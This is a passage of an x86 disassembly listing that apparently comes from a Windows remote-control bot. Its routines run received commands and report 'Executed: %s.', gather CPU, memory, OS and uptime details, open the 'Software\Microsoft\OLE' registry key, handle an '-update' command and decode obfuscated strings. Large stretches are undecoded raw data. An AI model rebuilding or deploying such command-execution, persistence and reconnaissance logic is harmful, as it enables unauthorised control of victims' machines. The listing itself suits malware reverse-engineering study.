lea ecx, [esp+178h+var_11C] mov bl, al mov [esp+178h+var_4], ebp call sub_401226 mov al, bl jmp loc_405675 ; --------------------------------------------------------------------------- loc_405431: ; CODE XREF: sub_404C70+50Fj lea ecx, [edi+0BCDh] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_405522 lea ecx, [edi+9] call sub_4017E4 lea edx, [esp+178h+var_164] push eax push edx call sub_402022 add esp, 8 push 0 push 25h push 1Dh push 23h lea eax, [esp+188h+var_14C] mov ebx, 11h push 28h push eax mov [esp+190h+var_4], ebx call sub_4019B5 add esp, 18h mov esi, eax lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 12h call sub_4017E4 push eax mov ecx, esi call sub_4017E4 push eax push offset aSS_0 ; "%s %s\r\n" push offset byte_4D60B5 call sub_401E0B add esp, 10h lea ecx, [esp+178h+var_14C] mov byte ptr [esp+178h+var_4], bl call sub_401226 push 20h lea ecx, [esp+17Ch+var_14C] push 0 push ecx lea ecx, [esp+184h+var_164] call sub_4012B2 mov ecx, eax mov byte ptr [esp+178h+var_4], 13h call sub_4017E4 push eax push offset aS ; "%s" push offset byte_4E6E85 call sub_40102D add esp, 0Ch lea ecx, [esp+178h+var_14C] mov byte ptr [esp+178h+var_4], bl call sub_401226 lea ecx, [esp+178h+var_164] mov [esp+178h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 jmp loc_405675 ; --------------------------------------------------------------------------- loc_405522: ; CODE XREF: sub_404C70+7D6j lea ecx, [edi+0E23h] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_405690 push offset asc_443600 ; " " lea edx, [esp+17Ch+var_11C] push 1 push edx mov ecx, esi call sub_4016AE mov edi, eax mov ecx, ebp mov [esp+178h+var_4], 14h call sub_4013D9 mov ecx, edi mov ebx, eax call sub_4013D9 mov ecx, esi lea edi, [ebx+eax+3] call sub_4013D9 cmp eax, edi lea ecx, [esp+178h+var_11C] setle bl or edi, 0FFFFFFFFh mov [esp+178h+var_4], edi call sub_401226 test bl, bl jnz loc_405673 lea ecx, [esp+178h+var_14C] call sub_401424 mov ecx, ebp mov [esp+178h+var_4], 15h call sub_4013D9 add eax, 2 mov ecx, esi push eax call sub_40146F push eax lea ecx, [esp+17Ch+var_14C] call sub_4015D7 lea ecx, [esp+178h+var_164] call sub_401424 lea ecx, [esp+178h+var_14C] mov byte ptr [esp+178h+var_4], 16h call sub_4017E4 push eax lea eax, [esp+17Ch+var_164] push offset aExecutedS_ ; "Executed: %s." push eax call sub_40102D add esp, 0Ch lea ecx, [esp+178h+var_14C] call sub_4017E4 push eax call near ptr 77C293C7h nop add esp, 4 cmp eax, edi lea ecx, [esi+69h] jnz short loc_40562A call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push offset aExec_error ; "exec.error" push ecx push edx jmp short loc_405648 ; --------------------------------------------------------------------------- loc_40562A: ; CODE XREF: sub_404C70+99Dj call sub_4014D3 push eax lea ecx, [esp+17Ch+var_164] call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx loc_405648: ; CODE XREF: sub_404C70+9B8j mov ecx, offset byte_4D60B5 call sub_401118 lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 15h call sub_401226 mov [esp+178h+var_4], edi lea ecx, [esp+178h+var_14C] loc_40566E: ; CODE XREF: sub_404C70+1D4j ; sub_404C70+2AFj ... call sub_401226 loc_405673: ; CODE XREF: sub_404C70+922j ; sub_404C70+C70j xor al, al loc_405675: ; CODE XREF: sub_404C70+6Fj ; sub_404C70+200j ... mov ecx, [esp+178h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 168h retn 4 ; --------------------------------------------------------------------------- loc_405690: ; CODE XREF: sub_404C70+8C7j lea ecx, [edi+0C85h] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz short loc_405706 lea edx, [esp+178h+var_164] mov ecx, edi push edx call sub_401F3C mov edi, eax lea ecx, [esi+69h] mov [esp+178h+var_4], 17h call sub_4014D3 push eax mov ecx, edi call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx mov ecx, offset byte_4D60B5 call sub_401118 lea ecx, [esp+178h+var_164] mov bl, al mov [esp+178h+var_4], 0FFFFFFFFh call sub_401226 mov al, bl jmp loc_405675 ; --------------------------------------------------------------------------- loc_405706: ; CODE XREF: sub_404C70+A35j lea ecx, [edi+0CE1h] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_4057F7 push 1 push offset asc_443600 ; " " lea edx, [esp+180h+var_14C] push 1 push edx mov ecx, esi call sub_4011EA push 20h lea ecx, [esp+17Ch+var_164] push 0 push ecx mov ecx, eax mov [esp+184h+var_4], 18h call sub_4012B2 mov ecx, eax mov byte ptr [esp+178h+var_4], 19h call sub_4017E4 push eax push offset aS ; "%s" push offset byte_4E6E85 call sub_40102D add esp, 0Ch lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 18h call sub_401226 or edi, 0FFFFFFFFh lea ecx, [esp+178h+var_14C] mov [esp+178h+var_4], edi call sub_401226 push 0 push 25h push 1Dh push 23h lea edx, [esp+188h+var_164] push 28h push edx call sub_4019B5 add esp, 18h mov esi, eax mov ecx, offset byte_4E6E85 mov [esp+178h+var_4], 1Ah call sub_4017E4 push eax mov ecx, esi call sub_4017E4 push eax push offset aSS_0 ; "%s %s\r\n" push offset byte_4D60B5 call sub_401E0B add esp, 10h lea ecx, [esp+178h+var_164] mov [esp+178h+var_4], edi call sub_401226 mov al, 1 jmp loc_405675 ; --------------------------------------------------------------------------- loc_4057F7: ; CODE XREF: sub_404C70+AABj lea ecx, [edi+0CB3h] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_4058CB push offset asc_443600 ; " " lea eax, [esp+17Ch+var_14C] push 1 push eax mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+178h+var_4], 1Bh call sub_4017E4 push eax call near ptr 77C1BF18h nop or ebp, 0FFFFFFFFh add esp, 4 lea ecx, [esp+178h+var_14C] mov ebx, eax mov [esp+178h+var_4], ebp call sub_401226 test ebx, ebx jnz short loc_40585F mov ebx, 7 loc_40585F: ; CODE XREF: sub_404C70+BE8j lea ecx, [esp+178h+var_164] push ebx push ecx mov ecx, edi call sub_40194C push offset byte_446F70 lea ecx, [esp+17Ch+var_164] mov [esp+17Ch+var_4], 1Ch call sub_4012EE test eax, eax jz short loc_4058B4 lea ecx, [esi+69h] call sub_4014D3 push eax lea ecx, [esp+17Ch+var_164] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D60B5 call sub_401118 loc_4058B4: ; CODE XREF: sub_404C70+C17j lea ecx, [esp+178h+var_164] mov [esp+178h+var_4], ebp call sub_401226 mov al, 1 jmp loc_405675 ; --------------------------------------------------------------------------- loc_4058CB: ; CODE XREF: sub_404C70+B9Cj lea ecx, [edi+0DF5h] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_405673 lea ecx, [esp+178h+var_100] call sub_401424 push 0 push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea ecx, [esp+22Ch+var_164] push 2Dh push ecx mov [esp+234h+var_4], 1Dh call sub_4019B5 add esp, 0BCh mov ecx, eax mov byte ptr [esp+178h+var_4], 1Eh call sub_4017E4 push eax lea ecx, [esp+17Ch+var_100] call sub_401A87 lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 1Dh call sub_401226 mov edi, offset aN ; "N" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+178h+var_8C] repne scasb not ecx sub edi, ecx mov [esp+178h+var_168], 0 mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb lea edi, [esp+178h+var_8C] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov esi, dword_50F75C mov edi, ecx lea ecx, [esp+178h+var_168] push ecx push 20019h push eax push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push 80000002h call esi push 0 push 27h push 29h push 1Dh push 1Eh push 5 push 0Ch push 2 push 1 push 0Eh lea edx, [esp+1B4h+var_178] push 1Fh push edx call sub_4019B5 add esp, 30h lea ecx, [esp+18Ch+var_A0] push edi push ecx push 1 push 0 mov ecx, eax mov [esp+19Ch+var_18], 1Fh call sub_4017E4 mov edx, [esp+19Ch+var_17C] push eax push edx nop call near ptr 2970000h lea ecx, [esp+1A4h+var_190] mov [esp+1A4h+var_30], 1Dh call sub_401226 mov eax, [esp+1A4h+var_194] mov edi, dword_50F738 push eax call edi lea ecx, [esp+1A8h+var_198] push ecx push 0F003Fh push 0 lea ecx, [esp+1B4h+var_130] call sub_4017E4 push eax push 80000002h call esi push 0 push 5 push 18h push 5 push 4Eh push 5 push 14h push 1 push 13h lea edx, [esp+1E0h+var_1A8] push 2Dh push edx call sub_4019B5 add esp, 2Ch mov ecx, eax mov [esp+1BCh+var_48], 20h call sub_4017E4 mov ebp, dword_50F764 push eax mov eax, [esp+1C0h+var_1AC] push eax call ebp lea ecx, [esp+1C4h+var_1B0] mov [esp+1C4h+var_50], 1Dh call sub_401226 mov ecx, [esp+1C4h+var_1B4] push ecx call edi push 0 push 5 push 18h push 5 push 4Eh push 48h push 0Eh push 15h push 12h lea edx, [esp+1ECh+var_1B4] push 9 push edx call sub_4019B5 add esp, 2Ch mov ecx, eax mov [esp+1C8h+var_54], 21h call sub_4017E4 push eax call sub_4015FA sub_404C70 endp ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 14244C8Dh, 742484C6h, 1D000001h, 0FFB709E8h, 244C8DFFh dd 0B8FEE844h, 22B3FFFFh, 10468h, 1046800h, 4C8D0000h dd 9C884C24h, 17C24h, 0C11BE800h, 9050FFFFh, 3EAECAE8h dd 6A006A02h, 6A186A05h, 6A4E6A05h, 6A0E6A48h, 8D126A15h dd 6A382444h, 4EE85009h, 83FFFFBEh, 0C88B2CC4h, 742484C6h dd 23000001h, 0FFBC6BE8h, 4C8D50FFh, 61E84824h, 50FFFFBCh dd 4C244C8Dh, 44368468h, 9AE85100h, 83FFFFB4h, 4C8D10C4h dd 9C881424h, 17424h, 0B680E800h, 4C8DFFFFh, 0D2E84424h dd 50FFFFBAh, 0ACCDE890h, 548D023Eh, 4C8D1024h, 68527824h dd 0F003Fh, 19E8006Ah, 50FFFFBCh, 268h, 6AD6FF80h, 6A056A00h dd 6A056A18h, 6A056A4Eh, 8D016A14h, 6A342444h, 0C6E85012h dd 83FFFFBDh, 0C88B28C4h, 742484C6h, 24000001h, 0FFBBE3E8h dd 244C8BFFh, 0FF515010h, 244C8DD5h, 249C8814h, 174h, 0FFB60DE8h dd 24548BFFh, 0D7FF5210h, 56A006Ah, 56A186Ah, 486A4E6Ah dd 486A0E6Ah, 126A496Ah, 456A456Ah, 4424448Dh, 0E850096Ah dd 0FFFFBD71h, 8B38C483h, 2484C6C8h, 174h, 0BB8EE825h dd 0E850FFFFh, 0FFFFB99Eh, 8D04C483h, 8814244Ch, 174249Ch dd 0B7E80000h, 68FFFFB5h, 104h, 10468h, 244C8D00h, 0BFDBE84Ch dd 9050FFFFh, 3EAD8AE8h, 6A006A02h, 6A186A05h, 6A4E6A05h dd 6A0E6A48h, 6A496A48h, 6A456A12h, 244C8D45h, 51096A44h dd 0FFBD08E8h, 38C483FFh, 84C6C88Bh, 17424h, 25E82600h dd 50FFFFBBh, 48244C8Dh, 0FFBB1BE8h, 548D50FFh, 84684C24h dd 52004436h, 0FFB354E8h, 10C483FFh, 14244C8Dh, 74249C88h dd 0E8000001h, 0FFFFB53Ah, 44244C8Dh, 0FFB98CE8h, 0E89050FFh dd 23EAB87h, 1024448Dh, 78244C8Dh, 3F6850h, 6A000Fh, 0FFBAD3E8h dd 26850FFh, 0FF800000h, 6A006AD6h, 6A186A05h, 6A4E6A05h dd 6A146A05h, 8D136A01h, 6A38244Ch, 7EE85113h, 83FFFFBCh dd 0C88B2CC4h, 742484C6h, 27000001h, 0FFBA9BE8h, 24548BFFh dd 0FF525010h, 244C8DD5h, 249C8814h, 174h, 0FFB4C5E8h dd 24448BFFh, 0D7FF5010h, 56A006Ah, 56A186Ah, 136A4E6Ah dd 136A196Ah, 96A0E6Ah, 3C244C8Dh, 0E851176Ah, 0FFFFBC2Dh dd 8B30C483h, 2484C6C8h, 174h, 0BA4AE828h, 0E850FFFFh dd 0FFFFB85Ah, 8D04C483h, 8814244Ch, 174249Ch, 73E80000h dd 68FFFFB4h, 104h, 10468h, 244C8D00h, 0BE97E84Ch, 9050FFFFh dd 3EAC46E8h, 6A006A02h, 6A186A05h, 6A4E6A05h, 6A196A13h dd 6A0E6A13h, 24548D09h, 52176A3Ch, 0FFBBC8E8h, 30C483FFh dd 84C6C88Bh, 17424h, 0E5E82900h, 50FFFFB9h, 48244C8Dh dd 0FFB9DBE8h, 448D50FFh, 84684C24h, 50004436h, 0FFB214E8h dd 10C483FFh, 14244C8Dh, 74249C88h, 0E8000001h, 0FFFFB3FAh dd 44244C8Dh, 0FFB84CE8h, 48E850FFh, 90023EAAh, 10244C8Dh dd 3F6851h, 6A000Fh, 84248C8Dh, 0E8000000h, 0FFFFB990h dd 26850h, 0D6FF8000h, 56A006Ah, 56A186Ah, 56A4E6Ah, 16A146Ah dd 106A046Ah, 46A156Ah, 548D476Ah, 46A4824h, 0BB33E852h dd 0C483FFFFh, 0C6C88B3Ch, 1742484h, 0E82A0000h, 0FFFFB950h dd 24448B50h, 0D5FF5014h, 14244C8Dh, 74249C88h, 0E8000001h dd 0FFFFB37Ah, 10244C8Bh, 6AD7FF51h, 6A056A00h, 6A056A18h dd 6A056A4Eh, 6A076A0Ch, 6A056A01h, 24548D02h, 52026A40h dd 0FFBAE0E8h, 34C483FFh, 84C6C88Bh, 17424h, 0FDE82B00h dd 50FFFFB8h, 0FFB70DE8h, 4C483FFh, 14244C8Dh, 74249C88h dd 0E8000001h, 0FFFFB326h, 10468h, 1046800h, 4C8D0000h dd 4AE84C24h, 50FFFFBDh, 0AAF9E890h, 6A023Eh, 186A056Ah dd 4E6A056Ah, 0C6A056Ah, 16A076Ah, 26A056Ah, 4024448Dh dd 0E850026Ah, 0FFFFBA79h, 8B34C483h, 2484C6C8h, 174h dd 0B896E82Ch, 8D50FFFFh, 0E848244Ch, 0FFFFB88Ch, 244C8D50h dd 3684684Ch, 0E8510044h, 0FFFFB0C5h, 8D10C483h, 8814244Ch dd 174249Ch, 0ABE80000h, 8DFFFFB2h, 0E844244Ch, 0FFFFB6FDh dd 0F8E89050h, 8D023EA8h, 8D102454h, 5278244Ch, 0F003F68h dd 0E8006A00h, 0FFFFB844h, 26850h, 0D6FF8000h, 0E6A006Ah dd 276A0F6Ah, 136A0B6Ah, 448D016Ah, 2E6A3024h, 0B9F3E850h dd 0C483FFFFh, 0C6C88B24h, 1742484h, 0E82D0000h, 0FFFFB810h dd 10244C8Bh, 0D5FF5150h, 14244C8Dh, 74249C88h, 0E8000001h dd 0FFFFB23Ah, 1024548Bh, 6AD7FF52h, 6A056A00h, 6A056A18h dd 6A0E6A4Eh, 6A0D6A0Fh, 6A136A0Bh, 24448D01h, 50146A40h dd 0FFB9A0E8h, 34C483FFh, 84C6C88Bh, 17424h, 0BDE82E00h dd 50FFFFB7h, 0FFB5CDE8h, 4C483FFh, 14244C8Dh, 74249C88h dd 0E8000001h, 0FFFFB1E6h, 10468h, 1046800h, 4C8D0000h dd 0AE84C24h, 50FFFFBCh, 0A9B9E890h, 6A023Eh, 186A056Ah dd 4E6A056Ah, 0F6A0E6Ah, 0B6A0D6Ah, 16A136Ah, 40244C8Dh dd 0E851146Ah, 0FFFFB939h, 8B34C483h, 2484C6C8h, 174h dd 0B756E82Fh, 8D50FFFFh, 0E848244Ch, 0FFFFB74Ch, 36846850h dd 548D0044h, 0E8525024h, 0FFFFAF85h, 8D10C483h, 8814244Ch dd 174249Ch, 6BE80000h, 8DFFFFB1h, 0E844244Ch, 0FFFFB5BDh dd 0B8E89050h, 8D023EA7h, 8D102444h, 5078244Ch, 0F003F68h dd 0E8006A00h, 0FFFFB704h, 26850h, 0D6FF8000h, 126A006Ah dd 126A056Ah, 0C6A0F6Ah, 186A106Ah, 0B0248C8Dh, 6A000000h dd 0AEE8511Fh, 83FFFFB8h, 0C88B28C4h, 742484C6h, 30000001h dd 0FFB6CBE8h, 24548BFFh, 0FF525010h, 248C8DD5h, 90h, 74249C88h dd 0E8000001h, 0FFFFB0F2h, 1024448Bh, 8BD7FF50h, 50FB0435h dd 36686800h, 0D6FF0044h, 44364C68h, 68D6FF00h, 44362Ch dd 868D6FFh, 0FF004436h, 10C483D6h, 44244C8Dh, 742484C6h dd 1D000001h, 0FFB0B5E8h, 244C8DFFh, 2484C778h, 174h, 0FFFFFFFFh dd 0FFB0A1E8h, 0E901B0FFh, 0FFFFF4E9h, 90909090h, 154h dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_4066E0 proc near ; CODE XREF: sub_40194Cj var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_4066E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push ebp push esi xor ebx, ebx push edi lea ecx, [esp+38h+var_24] mov [esp+38h+var_28], ebx call sub_401424 mov esi, [esp+38h+arg_4] mov ebp, 1 cmp esi, ebx mov [esp+38h+var_4], ebp jnz short loc_406731 mov esi, [esp+38h+arg_0] push ebx mov ecx, esi call sub_4020F4 mov [esp+38h+var_28], ebp jmp loc_4067D7 ; --------------------------------------------------------------------------- loc_406731: ; CODE XREF: sub_4066E0+3Aj nop call near ptr 27F0769h mov ecx, eax mov eax, 10624DD3h mul ecx mov ecx, edx mov eax, 0C22E4507h shr ecx, 6 imul ecx add edx, ecx sar edx, 10h mov eax, edx shr eax, 1Fh add edx, eax mov edi, edx cmp edi, esi jl short loc_4067C3 mov eax, ecx mov ecx, 15180h cdq idiv ecx mov esi, 0E10h mov ecx, edx mov eax, ecx cdq idiv esi mov eax, 88888889h mov esi, edx imul esi add edx, esi sar edx, 5 mov eax, edx shr eax, 1Fh add edx, eax mov eax, 91A2B3C5h push edx imul ecx add edx, ecx sar edx, 0Bh mov ecx, edx shr ecx, 1Fh add edx, ecx push edx push edi lea edx, [esp+44h+var_24] push offset aUpDdDhDm ; "up: %dd %dh %dm" push edx call sub_40102D mov esi, [esp+4Ch+arg_0] add esp, 14h lea eax, [esp+38h+var_24] mov ecx, esi push eax call sub_4014C9 jmp short loc_4067D3 ; --------------------------------------------------------------------------- loc_4067C3: ; CODE XREF: sub_4066E0+7Cj mov esi, [esp+38h+arg_0] push offset byte_446F70 mov ecx, esi call sub_401861 loc_4067D3: ; CODE XREF: sub_4066E0+E1j mov [esp+38h+var_28], ebp loc_4067D7: ; CODE XREF: sub_4066E0+4Cj lea ecx, [esp+38h+var_24] mov byte ptr [esp+38h+var_4], bl call sub_401226 mov ecx, [esp+38h+var_C] mov eax, esi pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 28h retn 8 sub_4066E0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_406850: ; CODE XREF: ___:00401668j push ecx push esi mov esi, [esp+0Ch] push offset byte_446F70 mov ecx, esi mov dword ptr [esp+8], 0 call sub_401861 mov eax, esi pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_406890 proc near ; CODE XREF: sub_401F3Cj var_198 = dword ptr -198h var_194 = dword ptr -194h var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_174 = byte ptr -174h var_164 = byte ptr -164h var_14C = byte ptr -14Ch var_144 = dword ptr -144h var_140 = dword ptr -140h var_12C = dword ptr -12Ch var_128 = dword ptr -128h var_124 = dword ptr -124h var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = byte ptr -118h var_98 = byte ptr -98h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_406890 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18Ch push ebp push esi push edi lea ecx, [esp+1A4h+var_18C] mov [esp+1A4h+var_198], 0 call sub_401424 mov [esp+1A4h+var_4], 1 nop call near ptr 27F0769h mov ecx, eax mov eax, 10624DD3h mul ecx mov esi, edx lea edx, [esp+1A4h+var_14C] push edx mov [esp+1A8h+var_190], 10h shr esi, 6 mov [esp+1A8h+var_194], 15h nop call near ptr 2840000h lea eax, [esp+1A4h+var_12C] mov [esp+1A4h+var_12C], 94h push eax nop call near ptr 2830000h mov eax, [esp+1A4h+var_128] cmp eax, 4 jnz short loc_40695E mov eax, [esp+1A4h+var_124] test eax, eax jnz short loc_406946 mov eax, [esp+1A4h+var_11C] cmp eax, 1 jnz short loc_406936 mov ebp, offset a95 ; "95" jmp loc_4069D1 ; --------------------------------------------------------------------------- loc_406936: ; CODE XREF: sub_406890+9Aj cmp eax, 2 jnz loc_4069CD mov ebp, offset aNt ; "NT" jmp short loc_40699A ; --------------------------------------------------------------------------- loc_406946: ; CODE XREF: sub_406890+8Ej cmp eax, 0Ah jnz short loc_406952 mov ebp, offset a98 ; "98" jmp short loc_406990 ; --------------------------------------------------------------------------- loc_406952: ; CODE XREF: sub_406890+B9j cmp eax, 5Ah jnz short loc_40698B mov ebp, offset aMe ; "ME" jmp short loc_406990 ; --------------------------------------------------------------------------- loc_40695E: ; CODE XREF: sub_406890+83j cmp eax, 5 jnz short loc_40698B mov eax, [esp+1A4h+var_124] test eax, eax jnz short loc_406975 mov ebp, offset a2000 ; "2000" jmp short loc_406990 ; --------------------------------------------------------------------------- loc_406975: ; CODE XREF: sub_406890+DCj cmp eax, 1 jnz short loc_406981 mov ebp, offset aXp ; "XP" jmp short loc_406990 ; --------------------------------------------------------------------------- loc_406981: ; CODE XREF: sub_406890+E8j cmp eax, 2 mov ebp, offset a2003 ; "2003" jz short loc_406990 loc_40698B: ; CODE XREF: sub_406890+C5j ; sub_406890+D1j mov ebp, offset a??? ; "???" loc_406990: ; CODE XREF: sub_406890+C0j ; sub_406890+CCj ... cmp [esp+1A4h+var_11C], 2 jnz short loc_4069D1 loc_40699A: ; CODE XREF: sub_406890+B4j mov al, [esp+1A4h+var_118] test al, al jz short loc_4069D1 lea ecx, [esp+1A4h+var_118] lea edx, [esp+1A4h+var_98] push ecx push ebp push offset aSS_2 ; "%s [%s]" push edx call sub_5EE1E5 nop add esp, 10h lea ebp, [esp+1A4h+var_98] jmp short loc_4069D1 ; --------------------------------------------------------------------------- loc_4069CD: ; CODE XREF: sub_406890+A9j mov ebp, [esp+1A4h+var_198] loc_4069D1: ; CODE XREF: sub_406890+A1j ; sub_406890+108j ... lea eax, [esp+1A4h+var_190] lea ecx, [esp+1A4h+var_174] push eax push ecx call near ptr 2820000h nop lea edx, [esp+1A4h+var_194] lea eax, [esp+1A4h+var_164] push edx push eax call near ptr 2950000h nop mov eax, esi mov ecx, 15180h cdq idiv ecx lea eax, [esp+1A4h+var_174] mov edi, 0E10h mov ecx, edx lea edx, [esp+1A4h+var_164] push edx push eax mov eax, ecx cdq idiv edi mov eax, 88888889h mov edi, edx imul edi add edx, edi sar edx, 5 mov eax, edx shr eax, 1Fh add edx, eax mov eax, 91A2B3C5h push edx imul ecx add edx, ecx mov eax, 0C22E4507h sar edx, 0Bh mov ecx, edx shr ecx, 1Fh add edx, ecx mov ecx, [esp+1B0h+var_120] push edx imul esi add edx, esi sar edx, 10h mov eax, edx shr eax, 1Fh add edx, eax mov eax, [esp+1B4h+var_128] push edx mov edx, [esp+1B8h+var_124] push ecx mov ecx, [esp+1BCh+var_144] push edx push eax mov eax, 804021h push ebp mul ecx sub ecx, edx mov eax, 804021h shr ecx, 1 add ecx, edx shr ecx, 13h push ecx mov ecx, [esp+1CCh+var_140] mul ecx sub ecx, edx shr ecx, 1 add ecx, edx shr ecx, 13h push ecx call sub_4017F3 push eax lea ecx, [esp+1D4h+var_18C] push offset aCpuDmhz_Memory ; "CPU: %dMHz. Memory: %dMB/%dMB. OS: Win "... push ecx call sub_40102D mov esi, [esp+1DCh+arg_0] add esp, 38h lea edx, [esp+1A4h+var_18C] push edx mov ecx, esi call sub_4014C9 mov [esp+1A4h+var_198], 1 lea ecx, [esp+1A4h+var_18C] mov byte ptr [esp+1A4h+var_4], 0 call sub_401226 mov ecx, [esp+1A4h+var_C] mov eax, esi pop edi pop esi pop ebp mov large fs:0, ecx add esp, 198h retn 4 sub_406890 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_406BA0 proc near ; CODE XREF: sub_4015DCj mov eax, ecx mov dword ptr [eax], offset off_43E008 mov dword ptr [eax+110h], 0 retn sub_406BA0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_406BD0: ; CODE XREF: ___:00401F8Cj push esi mov esi, ecx call sub_40143D test byte ptr [esp+8], 1 jz short loc_406BE8 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_406BE8: ; CODE XREF: ___:00406BDDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_406C00 proc near ; CODE XREF: sub_40143Dj mov dword ptr [ecx], offset off_43E008 mov ecx, [ecx+110h] test ecx, ecx jz short locret_406C17 push ecx call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx locret_406C17: ; CODE XREF: sub_406C00+Ej retn sub_406C00 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_406C30 proc near ; CODE XREF: sub_401384j arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_406C30 push eax mov large fs:0, esp sub esp, 448h push ebx mov ebx, ecx mov eax, [ebx+110h] test eax, eax jz short loc_406C61 push eax call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_406C61: ; CODE XREF: sub_406C30+26j push ebp push esi mov esi, [esp+460h+arg_0] push edi mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx push ecx call sub_4367FA sub_406C30 endp ; --------------------------------------------------------------------------- mov edx, eax mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax mov [ebx+110h], edx repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov edi, [ebx+110h] or ecx, 0FFFFFFFFh mov byte ptr [ebx+4], 0 mov dword ptr [ebx+5], 0 mov byte ptr [ebx+9], 0 mov byte ptr [ebx+0Ah], 0 mov byte ptr [ebx+0Bh], 0 repne scasb not ecx push ecx call sub_4367FA ; --------------------------------------------------------------------------- mov edi, [ebx+110h] mov edx, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov ebp, dword_50FAF4 mov eax, ecx mov esi, edi mov edi, edx push offset asc_443600 ; " " shr ecx, 2 rep movsd mov ecx, eax push edx and ecx, 3 rep movsb call ebp ; strtok add esp, 10h mov [esp+58h], eax lea esi, [esp+5Ch] mov edi, 0FFh loc_406D12: ; CODE XREF: ___:00406D24j push offset asc_443600 ; " " push 0 call ebp ; strtok mov [esi], eax add esp, 8 add esi, 4 dec edi jnz short loc_406D12 mov eax, [esp+58h] xor ecx, ecx cmp eax, ecx jz loc_406F18 lea ebp, [esp+58h] loc_406D38: ; CODE XREF: ___:00406F10j mov edi, [ebp+0] mov esi, offset dword_4437EC mov eax, edi loc_406D42: ; CODE XREF: ___:00406D60j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_406D66 test cl, cl jz short loc_406D62 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_406D66 add eax, 2 add esi, 2 test cl, cl jnz short loc_406D42 loc_406D62: ; CODE XREF: ___:00406D4Cj xor eax, eax jmp short loc_406D6B ; --------------------------------------------------------------------------- loc_406D66: ; CODE XREF: ___:00406D48j ; ___:00406D56j sbb eax, eax sbb eax, 0FFFFFFFFh loc_406D6B: ; CODE XREF: ___:00406D64j test eax, eax jz loc_406F08 mov esi, offset aUpdate ; "-update" mov eax, edi loc_406D7A: ; CODE XREF: ___:00406D98j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_406D9E test cl, cl jz short loc_406D9A mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_406D9E add eax, 2 add esi, 2 test cl, cl jnz short loc_406D7A loc_406D9A: ; CODE XREF: ___:00406D84j xor eax, eax jmp short loc_406DA3 ; --------------------------------------------------------------------------- loc_406D9E: ; CODE XREF: ___:00406D80j ; ___:00406D8Ej sbb eax, eax sbb eax, 0FFFFFFFFh loc_406DA3: ; CODE XREF: ___:00406D9Cj test eax, eax jnz short loc_406DB0 mov byte ptr [ebx+9], 1 